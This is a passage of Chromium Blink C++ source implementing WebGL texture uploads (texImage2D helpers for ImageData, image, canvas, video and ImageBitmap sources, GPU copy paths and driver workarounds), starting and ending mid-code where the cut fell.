WebGLRenderingContextBase::TexImageHelperImageData(\n    TexImageFunctionID function_id,\n    GLenum target,\n    GLint level,\n    GLint internalformat,\n    GLint border,\n    GLenum format,\n    GLenum type,\n    GLsizei depth,\n    GLint xoffset,\n    GLint yoffset,\n    GLint zoffset,\n    ImageData* pixels,\n    const IntRect& source_image_rect,\n    GLint unpack_image_height) {\n  const char* func_name = GetTexImageFunctionName(function_id);\n  if (isContextLost())\n    return;\n  DCHECK(pixels);\n  if (pixels->data()->BufferBase()->IsDetached()) {\n    SynthesizeGLError(GL_INVALID_VALUE, func_name,\n                      \"The source data has been detached.\");\n    return;\n  }\n  if (!ValidateTexImageBinding(func_name, function_id, target))\n    return;\n  TexImageFunctionType function_type;\n  if (function_id == kTexImage2D || function_id == kTexImage3D)\n    function_type = kTexImage;\n  else\n    function_type = kTexSubImage;\n  if (!ValidateTexFunc(func_name, function_type, kSourceImageData, target,\n                       level, internalformat, pixels->width(), pixels->height(),\n                       depth, border, format, type, xoffset, yoffset, zoffset))\n    return;\n\n  bool selecting_sub_rectangle = false;\n  if (!ValidateTexImageSubRectangle(\n          func_name, function_id, pixels, source_image_rect, depth,\n          unpack_image_height, &selecting_sub_rectangle)) {\n    return;\n  }\n  // Adjust the source image rectangle if doing a y-flip.\n  IntRect adjusted_source_image_rect = source_image_rect;\n  if (unpack_flip_y_) {\n    adjusted_source_image_rect.SetY(pixels->height() -\n                                    adjusted_source_image_rect.MaxY());\n  }\n\n  Vector<uint8_t> data;\n  bool need_conversion = true;\n  // The data from ImageData is always of format RGBA8.\n  // No conversion is needed if destination format is RGBA and type is\n  // UNSIGNED_BYTE and no Flip or Premultiply operation is required.\n  if (!unpack_flip_y_ && !unpack_premultiply_alpha_ && format == GL_RGBA &&\n      type == GL_UNSIGNED_BYTE && !selecting_sub_rectangle && depth == 1) {\n    need_conversion = false;\n  } else {\n    if (type == GL_UNSIGNED_INT_10F_11F_11F_REV) {\n      // The UNSIGNED_INT_10F_11F_11F_REV type pack/unpack isn't implemented.\n      type = GL_FLOAT;\n    }\n    if (!WebGLImageConversion::ExtractImageData(\n            pixels->data()->Data(),\n            WebGLImageConversion::DataFormat::kDataFormatRGBA8, pixels->Size(),\n            adjusted_source_image_rect, depth, unpack_image_height, format,\n            type, unpack_flip_y_, unpack_premultiply_alpha_, data)) {\n      SynthesizeGLError(GL_INVALID_VALUE, func_name, \"bad image data\");\n      return;\n    }\n  }\n  ScopedUnpackParametersResetRestore temporary_reset_unpack(this);\n  const uint8_t* bytes = need_conversion ? data.data() : pixels->data()->Data();\n  if (function_id == kTexImage2D) {\n    DCHECK_EQ(unpack_image_height, 0);\n    TexImage2DBase(\n        target, level, internalformat, adjusted_source_image_rect.Width(),\n        adjusted_source_image_rect.Height(), border, format, type, bytes);\n  } else if (function_id == kTexSubImage2D) {\n    DCHECK_EQ(unpack_image_height, 0);\n    ContextGL()->TexSubImage2D(\n        target, level, xoffset, yoffset, adjusted_source_image_rect.Width(),\n        adjusted_source_image_rect.Height(), format, type, bytes);\n  } else {\n    GLint upload_height = adjusted_source_image_rect.Height();\n    if (function_id == kTexImage3D) {\n      ContextGL()->TexImage3D(target, level, internalformat,\n                              adjusted_source_image_rect.Width(), upload_height,\n                              depth, border, format, type, bytes);\n    } else {\n      DCHECK_EQ(function_id, kTexSubImage3D);\n      ContextGL()->TexSubImage3D(target, level, xoffset, yoffset, zoffset,\n                                 adjusted_source_image_rect.Width(),\n                                 upload_height, depth, format, type, bytes);\n    }\n  }\n}\n\nvoid WebGLRenderingContextBase::texImage2D(GLenum target,\n                                           GLint level,\n                                           GLint internalformat,\n                                           GLenum format,\n                                           GLenum type,\n                                           ImageData* pixels) {\n  TexImageHelperImageData(kTexImage2D, target, level, internalformat, 0, format,\n                          type, 1, 0, 0, 0, pixels, GetImageDataSize(pixels),\n                          0);\n}\n\nvoid WebGLRenderingContextBase::TexImageHelperHTMLImageElement(\n    const SecurityOrigin* security_origin,\n    TexImageFunctionID function_id,\n    GLenum target,\n    GLint level,\n    GLint internalformat,\n    GLenum format,\n    GLenum type,\n    GLint xoffset,\n    GLint yoffset,\n    GLint zoffset,\n    HTMLImageElement* image,\n    const IntRect& source_image_rect,\n    GLsizei depth,\n    GLint unpack_image_height,\n    ExceptionState& exception_state) {\n  const char* func_name = GetTexImageFunctionName(function_id);\n  if (isContextLost())\n    return;\n\n  if (!ValidateHTMLImageElement(security_origin, func_name, image,\n                                exception_state))\n    return;\n  if (!ValidateTexImageBinding(func_name, function_id, target))\n    return;\n\n  scoped_refptr<Image> image_for_render = image->CachedImage()->GetImage();\n  if (IsA<SVGImage>(image_for_render.get())) {\n    if (canvas()) {\n      UseCounter::Count(canvas()->GetDocument(), WebFeature::kSVGInWebGL);\n    }\n    image_for_render =\n        DrawImageIntoBuffer(std::move(image_for_render), image->width(),\n                            image->height(), func_name);\n  }\n\n  TexImageFunctionType function_type;\n  if (function_id == kTexImage2D || function_id == kTexImage3D)\n    function_type = kTexImage;\n  else\n    function_type = kTexSubImage;\n  if (!image_for_render ||\n      !ValidateTexFunc(func_name, function_type, kSourceHTMLImageElement,\n                       target, level, internalformat, image_for_render->width(),\n                       image_for_render->height(), depth, 0, format, type,\n                       xoffset, yoffset, zoffset))\n    return;\n\n  TexImageImpl(function_id, target, level, internalformat, xoffset, yoffset,\n               zoffset, format, type, image_for_render.get(),\n               WebGLImageConversion::kHtmlDomImage, unpack_flip_y_,\n               unpack_premultiply_alpha_, source_image_rect, depth,\n               unpack_image_height);\n}\n\nvoid WebGLRenderingContextBase::texImage2D(ExecutionContext* execution_context,\n                                           GLenum target,\n                                           GLint level,\n                                           GLint internalformat,\n                                           GLenum format,\n                                           GLenum type,\n                                           HTMLImageElement* image,\n                                           ExceptionState& exception_state) {\n  TexImageHelperHTMLImageElement(execution_context->GetSecurityOrigin(),\n                                 kTexImage2D, target, level, internalformat,\n                                 format, type, 0, 0, 0, image,\n                                 SentinelEmptyRect(), 1, 0, exception_state);\n}\n\nbool WebGLRenderingContextBase::CanUseTexImageViaGPU(GLenum format,\n                                                     GLenum type) {\n#if defined(OS_MACOSX)\n  // RGB5_A1 is not color-renderable on NVIDIA Mac, see crbug.com/676209.\n  // Though, glCopyTextureCHROMIUM can handle RGB5_A1 internalformat by doing a\n  // fallback path, but it doesn't know the type info. So, we still cannot do\n  // the fallback path in glCopyTextureCHROMIUM for\n  // RGBA/RGBA/UNSIGNED_SHORT_5_5_5_1 format and type combination.\n  if (type == GL_UNSIGNED_SHORT_5_5_5_1)\n    return false;\n#endif\n\n  // TODO(kbr): continued bugs are seen on Linux with AMD's drivers handling\n  // uploads to R8UI textures. crbug.com/710673\n  if (format == GL_RED_INTEGER)\n    return false;\n\n#if defined(OS_ANDROID)\n  // TODO(kbr): bugs were seen on Android devices with NVIDIA GPUs\n  // when copying hardware-accelerated video textures to\n  // floating-point textures. Investigate the root cause of this and\n  // fix it. crbug.com/710874\n  if (type == GL_FLOAT)\n    return false;\n#endif\n\n  // OES_texture_half_float doesn't support HALF_FLOAT_OES type for\n  // CopyTexImage/CopyTexSubImage. And OES_texture_half_float doesn't require\n  // HALF_FLOAT_OES type texture to be renderable. So, HALF_FLOAT_OES type\n  // texture cannot be copied to or drawn to by glCopyTextureCHROMIUM.\n  if (type == GL_HALF_FLOAT_OES)\n    return false;\n\n  return true;\n}\n\nvoid WebGLRenderingContextBase::TexImageViaGPU(\n    TexImageFunctionID function_id,\n    WebGLTexture* texture,\n    GLenum target,\n    GLint level,\n    GLint xoffset,\n    GLint yoffset,\n    GLint zoffset,\n    AcceleratedStaticBitmapImage* source_image,\n    WebGLRenderingContextBase* source_canvas_webgl_context,\n    const IntRect& source_sub_rectangle,\n    bool premultiply_alpha,\n    bool flip_y) {\n  bool have_source_image = source_image;\n  bool have_source_canvas_webgl_context = source_canvas_webgl_context;\n  DCHECK(have_source_image ^ have_source_canvas_webgl_context);\n\n  int width = source_sub_rectangle.Width();\n  int height = source_sub_rectangle.Height();\n\n  ScopedTexture2DRestorer restorer(this);\n\n  GLuint target_texture = texture->Object();\n  bool possible_direct_copy = false;\n  if (function_id == kTexImage2D || function_id == kTexSubImage2D) {\n    possible_direct_copy = Extensions3DUtil::CanUseCopyTextureCHROMIUM(target);\n  }\n\n  GLint copy_x_offset = xoffset;\n  GLint copy_y_offset = yoffset;\n  GLenum copy_target = target;\n\n  // if direct copy is not possible, create a temporary texture and then copy\n  // from canvas to temporary texture to target texture.\n  if (!possible_direct_copy) {\n    ContextGL()->GenTextures(1, &target_texture);\n    ContextGL()->BindTexture(GL_TEXTURE_2D, target_texture);\n    ContextGL()->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER,\n                               GL_NEAREST);\n    ContextGL()->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER,\n                               GL_NEAREST);\n    ContextGL()->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S,\n                               GL_CLAMP_TO_EDGE);\n    ContextGL()->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T,\n                               GL_CLAMP_TO_EDGE);\n    ContextGL()->TexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, width, height, 0,\n                            GL_RGBA, GL_UNSIGNED_BYTE, nullptr);\n    copy_x_offset = 0;\n    copy_y_offset = 0;\n    copy_target = GL_TEXTURE_2D;\n  }\n\n  {\n    // glCopyTextureCHROMIUM has a DRAW_AND_READBACK path which will call\n    // texImage2D. So, reset unpack buffer parameters before that.\n    ScopedUnpackParametersResetRestore temporaryResetUnpack(this);\n    if (source_image) {\n      source_image->CopyToTexture(\n          ContextGL(), target, target_texture, level, premultiply_alpha, flip_y,\n          IntPoint(xoffset, yoffset), source_sub_rectangle);\n    } else {\n      WebGLRenderingContextBase* gl = source_canvas_webgl_context;\n      if (gl->is_origin_top_left_ && !canvas()->LowLatencyEnabled())\n        flip_y = !flip_y;\n      ScopedTexture2DRestorer inner_restorer(gl);\n      if (!gl->GetDrawingBuffer()->CopyToPlatformTexture(\n              ContextGL(), target, target_texture, level,\n              unpack_premultiply_alpha_, !flip_y, IntPoint(xoffset, yoffset),\n              source_sub_rectangle, kBackBuffer)) {\n        NOTREACHED();\n      }\n    }\n  }\n\n  if (!possible_direct_copy) {\n    GLuint tmp_fbo;\n    ContextGL()->GenFramebuffers(1, &tmp_fbo);\n    ContextGL()->BindFramebuffer(GL_FRAMEBUFFER, tmp_fbo);\n    ContextGL()->FramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,\n                                      GL_TEXTURE_2D, target_texture, 0);\n    ContextGL()->BindTexture(texture->GetTarget(), texture->Object());\n    if (function_id == kTexImage2D) {\n      ContextGL()->CopyTexSubImage2D(target, level, 0, 0, 0, 0, width, height);\n    } else if (function_id == kTexSubImage2D) {\n      ContextGL()->CopyTexSubImage2D(target, level, xoffset, yoffset, 0, 0,\n                                     width, height);\n    } else if (function_id == kTexSubImage3D) {\n      ContextGL()->CopyTexSubImage3D(target, level, xoffset, yoffset, zoffset,\n                                     0, 0, width, height);\n    }\n    ContextGL()->FramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,\n                                      GL_TEXTURE_2D, 0, 0);\n    RestoreCurrentFramebuffer();\n    ContextGL()->DeleteFramebuffers(1, &tmp_fbo);\n    ContextGL()->DeleteTextures(1, &target_texture);\n  }\n}\n\nvoid WebGLRenderingContextBase::TexImageHelperCanvasRenderingContextHost(\n    const SecurityOrigin* security_origin,\n    TexImageFunctionID function_id,\n    GLenum target,\n    GLint level,\n    GLint internalformat,\n    GLenum format,\n    GLenum type,\n    GLint xoffset,\n    GLint yoffset,\n    GLint zoffset,\n    CanvasRenderingContextHost* context_host,\n    const IntRect& source_sub_rectangle,\n    GLsizei depth,\n    GLint unpack_image_height,\n    ExceptionState& exception_state) {\n  const char* func_name = GetTexImageFunctionName(function_id);\n  if (isContextLost())\n    return;\n\n  if (!ValidateCanvasRenderingContextHost(security_origin, func_name,\n                                          context_host, exception_state))\n    return;\n  WebGLTexture* texture =\n      ValidateTexImageBinding(func_name, function_id, target);\n  if (!texture)\n    return;\n  TexImageFunctionType function_type;\n  if (function_id == kTexImage2D)\n    function_type = kTexImage;\n  else\n    function_type = kTexSubImage;\n  if (!ValidateTexFunc(func_name, function_type, kSourceHTMLCanvasElement,\n                       target, level, internalformat,\n                       source_sub_rectangle.Width(),\n                       source_sub_rectangle.Height(), depth, 0, format, type,\n                       xoffset, yoffset, zoffset))\n    return;\n\n  // Note that the sub-rectangle validation is needed for the GPU-GPU\n  // copy case, but is redundant for the software upload case\n  // (texImageImpl).\n  bool selecting_sub_rectangle = false;\n  if (!ValidateTexImageSubRectangle(\n          func_name, function_id, context_host, source_sub_rectangle, depth,\n          unpack_image_height, &selecting_sub_rectangle)) {\n    return;\n  }\n\n  bool is_webgl_canvas = context_host->Is3d();\n  WebGLRenderingContextBase* source_canvas_webgl_context = nullptr;\n  SourceImageStatus source_image_status = kInvalidSourceImageStatus;\n  scoped_refptr<Image> image;\n\n  bool upload_via_gpu =\n      (function_id == kTexImage2D || function_id == kTexSubImage2D) &&\n      CanUseTexImageViaGPU(format, type);\n\n  // The Image-based upload path may still be used for WebGL-rendered\n  // canvases in the case of driver bug workarounds\n  // (e.g. CanUseTexImageViaGPU returning false).\n  if (is_webgl_canvas && upload_via_gpu) {\n    source_canvas_webgl_context =\n        To<WebGLRenderingContextBase>(context_host->RenderingContext());\n  } else {\n    image = context_host->GetSourceImageForCanvas(\n        &source_image_status, kPreferAcceleration,\n        FloatSize(source_sub_rectangle.Width(), source_sub_rectangle.Height()));\n    if (source_image_status != kNormalSourceImageStatus)\n      return;\n  }\n\n  // Still not clear whether we will take the accelerated upload path\n  // at this point; it depends on what came back from\n  // CanUseTexImageViaGPU, for example.\n  upload_via_gpu &= source_canvas_webgl_context ||\n                    (image->IsStaticBitmapImage() && image->IsTextureBacked());\n\n  if (upload_via_gpu) {\n    AcceleratedStaticBitmapImage* accel_image = nullptr;\n    if (image) {\n      accel_image = static_cast<AcceleratedStaticBitmapImage*>(\n          ToStaticBitmapImage(image.get()));\n    }\n\n    // The GPU-GPU copy path uses the Y-up coordinate system.\n    IntRect adjusted_source_sub_rectangle = source_sub_rectangle;\n\n    bool should_adjust_source_sub_rectangle = !unpack_flip_y_;\n    if (is_origin_top_left_ && source_canvas_webgl_context)\n      should_adjust_source_sub_rectangle = !should_adjust_source_sub_rectangle;\n\n    if (should_adjust_source_sub_rectangle) {\n      adjusted_source_sub_rectangle.SetY(context_host->Size().Height() -\n                                         adjusted_source_sub_rectangle.MaxY());\n    }\n\n    if (function_id == kTexImage2D) {\n      TexImage2DBase(target, level, internalformat,\n                     source_sub_rectangle.Width(),\n                     source_sub_rectangle.Height(), 0, format, type, nullptr);\n      TexImageViaGPU(function_id, texture, target, level, 0, 0, 0, accel_image,\n                     source_canvas_webgl_context, adjusted_source_sub_rectangle,\n                     unpack_premultiply_alpha_, unpack_flip_y_);\n    } else {\n      TexImageViaGPU(function_id, texture, target, level, xoffset, yoffset, 0,\n                     accel_image, source_canvas_webgl_context,\n                     adjusted_source_sub_rectangle, unpack_premultiply_alpha_,\n                     unpack_flip_y_);\n    }\n  } else {\n    // If these are the 2D functions, the caller must have passed in 1\n    // for the depth and 0 for the unpack_image_height.\n    DCHECK(!(function_id == kTexSubImage2D || function_id == kTexSubImage2D) ||\n           (depth == 1 && unpack_image_height == 0));\n    // We expect an Image at this point, not a WebGL-rendered canvas.\n    DCHECK(image);\n    // TODO(crbug.com/612542): Implement GPU-to-GPU copy path for more\n    // cases, like copying to layers of 3D textures, and elements of\n    // 2D texture arrays.\n    bool flip_y = unpack_flip_y_;\n    if (is_origin_top_left_ && is_webgl_canvas)\n      flip_y = !flip_y;\n\n    TexImageImpl(function_id, target, level, internalformat, xoffset, yoffset,\n                 zoffset, format, type, image.get(),\n                 WebGLImageConversion::kHtmlDomCanvas, flip_y,\n                 unpack_premultiply_alpha_, source_sub_rectangle, depth,\n                 unpack_image_height);\n  }\n}\n\nvoid WebGLRenderingContextBase::texImage2D(\n    ExecutionContext* execution_context,\n    GLenum target,\n    GLint level,\n    GLint internalformat,\n    GLenum format,\n    GLenum type,\n    CanvasRenderingContextHost* context_host,\n    ExceptionState& exception_state) {\n  TexImageHelperCanvasRenderingContextHost(\n      execution_context->GetSecurityOrigin(), kTexImage2D, target, level,\n      internalformat, format, type, 0, 0, 0, context_host,\n      GetTextureSourceSize(context_host), 1, 0, exception_state);\n}\n\nscoped_refptr<Image> WebGLRenderingContextBase::VideoFrameToImage(\n    HTMLVideoElement* video,\n    int already_uploaded_id,\n    WebMediaPlayer::VideoFrameUploadMetadata* out_metadata) {\n  const IntSize& visible_size = video->videoVisibleSize();\n  if (visible_size.IsEmpty()) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"tex(Sub)Image2D\",\n                      \"video visible size is empty\");\n    return nullptr;\n  }\n  CanvasResourceProvider* resource_provider =\n      generated_image_cache_.GetCanvasResourceProvider(visible_size);\n  if (!resource_provider) {\n    SynthesizeGLError(GL_OUT_OF_MEMORY, \"texImage2D\", \"out of memory\");\n    return nullptr;\n  }\n  IntRect dest_rect(0, 0, visible_size.Width(), visible_size.Height());\n  video->PaintCurrentFrame(resource_provider->Canvas(), dest_rect, nullptr,\n                           already_uploaded_id, out_metadata);\n  return resource_provider->Snapshot();\n}\n\nvoid WebGLRenderingContextBase::TexImageHelperHTMLVideoElement(\n    const SecurityOrigin* security_origin,\n    TexImageFunctionID function_id,\n    GLenum target,\n    GLint level,\n    GLint internalformat,\n    GLenum format,\n    GLenum type,\n    GLint xoffset,\n    GLint yoffset,\n    GLint zoffset,\n    HTMLVideoElement* video,\n    const IntRect& source_image_rect,\n    GLsizei depth,\n    GLint unpack_image_height,\n    ExceptionState& exception_state) {\n  const char* func_name = GetTexImageFunctionName(function_id);\n  if (isContextLost())\n    return;\n\n  if (!ValidateHTMLVideoElement(security_origin, func_name, video,\n                                exception_state))\n    return;\n  WebGLTexture* texture =\n      ValidateTexImageBinding(func_name, function_id, target);\n  if (!texture)\n    return;\n  TexImageFunctionType function_type;\n  if (function_id == kTexImage2D || function_id == kTexImage3D)\n    function_type = kTexImage;\n  else\n    function_type = kTexSubImage;\n  if (!ValidateTexFunc(func_name, function_type, kSourceHTMLVideoElement,\n                       target, level, internalformat, video->videoWidth(),\n                       video->videoHeight(), 1, 0, format, type, xoffset,\n                       yoffset, zoffset))\n    return;\n\n  GLint adjusted_internalformat =\n      ConvertTexInternalFormat(internalformat, type);\n\n  // For WebGL last-uploaded-frame-metadata API. https://crbug.com/639174\n  WebMediaPlayer::VideoFrameUploadMetadata frame_metadata = {};\n  int already_uploaded_id = -1;\n  WebMediaPlayer::VideoFrameUploadMetadata* frame_metadata_ptr = nullptr;\n  if (RuntimeEnabledFeatures::ExtraWebGLVideoTextureMetadataEnabled()) {\n    already_uploaded_id = texture->GetLastUploadedVideoFrameId();\n    frame_metadata_ptr = &frame_metadata;\n  }\n\n  if (!source_image_rect.IsValid()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, func_name,\n                      \"source sub-rectangle specified via pixel unpack \"\n                      \"parameters is invalid\");\n    return;\n  }\n  bool source_image_rect_is_default =\n      source_image_rect == SentinelEmptyRect() ||\n      source_image_rect ==\n          IntRect(0, 0, video->videoWidth(), video->videoHeight());\n\n  const auto& caps = GetDrawingBuffer()->ContextProvider()->GetCapabilities();\n  const bool may_need_image_external_essl3 =\n      caps.egl_image_external &&\n      Extensions3DUtil::CopyTextureCHROMIUMNeedsESSL3(internalformat);\n  const bool have_image_external_essl3 = caps.egl_image_external_essl3;\n  const bool use_copyTextureCHROMIUM =\n      function_id == kTexImage2D && source_image_rect_is_default &&\n      depth == 1 && GL_TEXTURE_2D == target &&\n      (have_image_external_essl3 || !may_need_image_external_essl3) &&\n      CanUseTexImageViaGPU(format, type);\n\n  // Format of source video may be 16-bit format, e.g. Y16 format.\n  // glCopyTextureCHROMIUM requires the source texture to be in 8-bit format.\n  // Converting 16-bits formated source texture to 8-bits formated texture will\n  // cause precision lost. So, uploading such video texture to half float or\n  // float texture can not use GPU-GPU path.\n  if (use_copyTextureCHROMIUM) {\n    DCHECK(Extensions3DUtil::CanUseCopyTextureCHROMIUM(target));\n    DCHECK_EQ(xoffset, 0);\n    DCHECK_EQ(yoffset, 0);\n    DCHECK_EQ(zoffset, 0);\n    // Go through the fast path doing a GPU-GPU textures copy without a readback\n    // to system memory if possible.  Otherwise, it will fall back to the normal\n    // SW path.\n\n    if (video->CopyVideoTextureToPlatformTexture(\n            ContextGL(), target, texture->Object(), adjusted_internalformat,\n            format, type, level, unpack_premultiply_alpha_, unpack_flip_y_,\n            already_uploaded_id, frame_metadata_ptr)) {\n      texture->UpdateLastUploadedFrame(frame_metadata);\n      return;\n    }\n\n    // For certain video frame formats (e.g. I420/YUV), if they start on the CPU\n    // (e.g. video camera frames): upload them to the GPU, do a GPU decode, and\n    // then copy into the target texture.\n    if (video->CopyVideoYUVDataToPlatformTexture(\n            ContextGL(), target, texture->Object(), adjusted_internalformat,\n            format, type, level, unpack_premultiply_alpha_, unpack_flip_y_,\n            already_uploaded_id, frame_metadata_ptr)) {\n      texture->UpdateLastUploadedFrame(frame_metadata);\n      return;\n    }\n  }\n\n  if (source_image_rect_is_default) {\n    // Try using optimized CPU-GPU path for some formats: e.g. Y16 and Y8. It\n    // leaves early for other formats or if frame is stored on GPU.\n    ScopedUnpackParametersResetRestore(\n        this, unpack_flip_y_ || unpack_premultiply_alpha_);\n    if (video->TexImageImpl(\n            static_cast<WebMediaPlayer::TexImageFunctionID>(function_id),\n            target, ContextGL(), texture->Object(), level,\n            adjusted_internalformat, format, type, xoffset, yoffset, zoffset,\n            unpack_flip_y_,\n            unpack_premultiply_alpha_ &&\n                unpack_colorspace_conversion_ == GL_NONE)) {\n      texture->ClearLastUploadedFrame();\n      return;\n    }\n  }\n\n  scoped_refptr<Image> image =\n      VideoFrameToImage(video, already_uploaded_id, frame_metadata_ptr);\n  if (!image)\n    return;\n  TexImageImpl(function_id, target, level, adjusted_internalformat, xoffset,\n               yoffset, zoffset, format, type, image.get(),\n               WebGLImageConversion::kHtmlDomVideo, unpack_flip_y_,\n               unpack_premultiply_alpha_, source_image_rect, depth,\n               unpack_image_height);\n  texture->UpdateLastUploadedFrame(frame_metadata);\n}\n\nvoid WebGLRenderingContextBase::texImage2D(ExecutionContext* execution_context,\n                                           GLenum target,\n                                           GLint level,\n                                           GLint internalformat,\n                                           GLenum format,\n                                           GLenum type,\n                                           HTMLVideoElement* video,\n                                           ExceptionState& exception_state) {\n  TexImageHelperHTMLVideoElement(execution_context->GetSecurityOrigin(),\n                                 kTexImage2D, target, level, internalformat,\n                                 format, type, 0, 0, 0, video,\n                                 SentinelEmptyRect(), 1, 0, exception_state);\n}\n\nvoid WebGLRenderingContextBase::TexImageHelperImageBitmap(\n    TexImageFunctionID function_id,\n    GLenum target,\n    GLint level,\n    GLint internalformat,\n    GLenum format,\n    GLenum type,\n    GLint xoffset,\n    GLint yoffset,\n    GLint zoffset,\n    ImageBitmap* bitmap,\n    const IntRect& source_sub_rect,\n    GLsizei depth,\n    GLint unpack_image_height,\n    ExceptionState& exception_state) {\n  const char* func_name = GetTexImageFunctionName(function_id);\n  if (isContextLost())\n    return;\n  if (!ValidateImageBitmap(func_name, bitmap, exception_state))\n    return;\n  WebGLTexture* texture =\n      ValidateTexImageBinding(func_name, function_id, target);\n  if (!texture)\n    return;\n\n  bool selecting_sub_rectangle = false;\n  if (!ValidateTexImageSubRectangle(func_name, function_id, bitmap,\n                                    source_sub_rect, depth, unpack_image_height,\n                                    &selecting_sub_rectangle)) {\n    return;\n  }\n\n  TexImageFunctionType function_type;\n  if (function_id == kTexImage2D)\n    function_type = kTexImage;\n  else\n    function_type = kTexSubImage;\n\n  GLsizei width = source_sub_rect.Width();\n  GLsizei height = source_sub_rect.Height();\n  if (!ValidateTexFunc(func_name, function_type, kSourceImageBitmap, target,\n                       level, internalformat, width, height, depth, 0, format,\n                       type, xoffset, yoffset, zoffset))\n    return;\n  scoped_refptr<StaticBitmapImage> image = bitmap->BitmapImage();\n  DCHECK(image);\n\n  // TODO(kbr): make this work for sub-rectangles of ImageBitmaps.\n  if (function_id != kTexSubImage3D && function_id != kTexImage3D &&\n      image->IsTextureBacked() && CanUseTexImageViaGPU(format, type) &&\n      !selecting_sub_rectangle) {\n    AcceleratedStaticBitmapImage* accel_image =\n        static_cast<AcceleratedStaticBitmapImage*>(image.get());\n    // We hard-code premultiply_alpha and flip_y values because these should\n    // have already been manipulated during construction of the ImageBitmap.\n    bool premultiply_alpha = true;  // TODO(kbr): this looks wrong!\n    bool flip_y = false;\n    if (function_id == kTexImage2D) {\n      TexImage2DBase(target, level, internalformat, width, height, 0, format,\n                     type, nullptr);\n      TexImageViaGPU(function_id, texture, target, level, 0, 0, 0, accel_image,\n                     nullptr, source_sub_rect, premultiply_alpha, flip_y);\n    } else if (function_id == kTexSubImage2D) {\n      TexImageViaGPU(function_id, texture, target, level, xoffset, yoffset, 0,\n                     accel_image, nullptr, source_sub_rect, premultiply_alpha,\n                     flip_y);\n    }\n    return;\n  }\n\n  // TODO(kbr): refactor this away to use TexImageImpl on image.\n  sk_sp<SkImage> sk_image =\n      bitmap->BitmapImage()->PaintImageForCurrentFrame().GetSkImage();\n  if (!sk_image) {\n    SynthesizeGLError(GL_OUT_OF_MEMORY, func_name,\n                      \"ImageBitmap unexpectedly empty\");\n    return;\n  }\n\n  SkPixmap pixmap;\n  uint8_t* pixel_data_ptr = nullptr;\n  Vector<uint8_t> pixel_data;\n  // In the case where an ImageBitmap is not texture backed, peekPixels() always\n  // succeed.  However, when it is texture backed and !canUseTexImageByGPU, we\n  // do a GPU read back.\n  bool peek_succeed = sk_image->peekPixels(&pixmap);\n  if (peek_succeed) {\n    pixel_data_ptr = static_cast<uint8_t*>(pixmap.writable_addr());\n  } else {\n    pixel_data = bitmap->CopyBitmapData(\n        bitmap->IsPremultiplied() ? kPremultiplyAlpha : kUnpremultiplyAlpha);\n    pixel_data_ptr = pixel_data.data();\n  }\n  Vector<uint8_t> data;\n  bool need_conversion = true;\n  bool have_peekable_rgba =\n      (peek_succeed &&\n       pixmap.colorType() == SkColorType::kRGBA_8888_SkColorType);\n  bool is_pixel_data_rgba = (have_peekable_rgba || !peek_succeed);\n  if (is_pixel_data_rgba && format == GL_RGBA && type == GL_UNSIGNED_BYTE &&\n      !selecting_sub_rectangle && depth == 1) {\n    need_conversion = false;\n  } else {\n    if (type == GL_UNSIGNED_INT_10F_11F_11F_REV) {\n      // The UNSIGNED_INT_10F_11F_11F_REV type pack/unpack isn't implemented.\n      type = GL_FLOAT;\n    }\n    // In the case of ImageBitmap, we do not need to apply flipY or\n    // premultiplyAlpha.\n    bool is_pixel_data_bgra =\n        pixmap.colorType() == SkColorType::kBGRA_8888_SkColorType;\n    if ((is_pixel_data_bgra &&\n         !WebGLImageConversion::ExtractImageData(\n             pixel_data_ptr, WebGLImageConversion::DataFormat::kDataFormatBGRA8,\n             bitmap->Size(), source_sub_rect, depth, unpack_image_height,\n             format, type, false, false, data)) ||\n        (is_pixel_data_rgba &&\n         !WebGLImageConversion::ExtractImageData(\n             pixel_data_ptr, WebGLImageConversion::DataFormat::kDataFormatRGBA8,\n             bitmap->Size(), source_sub_rect, depth, unpack_image_height,\n             format, type, false, false, data))) {\n      SynthesizeGLError(GL_INVALID_VALUE, func_name, \"bad image data\");\n      return;\n    }\n  }\n  ScopedUnpackParametersResetRestore temporary_reset_unpack(this);\n  if (function_id == kTexImage2D) {\n    TexImage2DBase(target, level, internalformat, width, height, 0, format,\n                   type, need_conversion ? data.data() : pixel_data_ptr);\n  } else if (function_id == kTexSubImage2D) {\n    ContextGL()->TexSubImage2D(target, level, xoffset, yoffset, width, height,\n                               format, type,\n                               need_conversion ? data.data() : pixel_data_ptr);\n  } else if (function_id == kTexImage3D) {\n    ContextGL()->TexImage3D(target, level, internalformat, width, height, depth,\n                            0, format, type,\n                            need_conversion ? data.data() : pixel_data_ptr);\n  } else {\n    DCHECK_EQ(function_id, kTexSubImage3D);\n    ContextGL()->TexSubImage3D(target, level, xoffset, yoffset, zoffset, width,\n                               height, depth, format, type,\n                               need_conversion ? data.data() : pixel_data_ptr);\n  }\n}\n\nvoid WebGLRenderingContextBase::texImage2D(GLenum target,\n                                           GLint level,\n                                           GLint internalformat,\n                                           GLenum format,\n                                           GLenum type,\n                                           ImageBitmap* bitmap,\n                                           ExceptionState& exception_state) {\n  TexImageHelperImageBitmap(kTexImage2D, target, level, internalformat, format,\n                            type, 0, 0, 0, bitmap, GetTextureSourceSize(bitmap),\n                            1, 0, exception_state);\n}\n\nvoid WebGLRenderingContextBase::TexParameter(GLenum target,\n                                             GLenum pname,\n                                             GLfloat paramf,\n                                             GLint parami,\n                                             bool is_float) {\n  if (isContextLost())\n    return;\n  if (!ValidateTextureBinding(\"texParameter\", target))\n    return;\n  switch (pname) {\n    case GL_TEXTURE_MIN_FILTER:\n      if (target == GL_TEXTURE_VIDEO_IMAGE_WEBGL) {\n        if ((is_float && paramf != GL_NEAREST && paramf != GL_LINEAR) ||\n            (!is_float && parami != GL_NEAREST && parami != GL_LINEAR)) {\n          SynthesizeGLError(GL_INVALID_ENUM, \"texParameter\",\n                            \"invalid parameter name\");\n          return;\n        }\n      }\n      break;\n    case GL_TEXTURE_MAG_FILTER:\n      break;\n    case GL_TEXTURE_WRAP_R:\n      if (!IsWebGL2OrHigher()) {\n        SynthesizeGLError(GL_INVALID_ENUM, 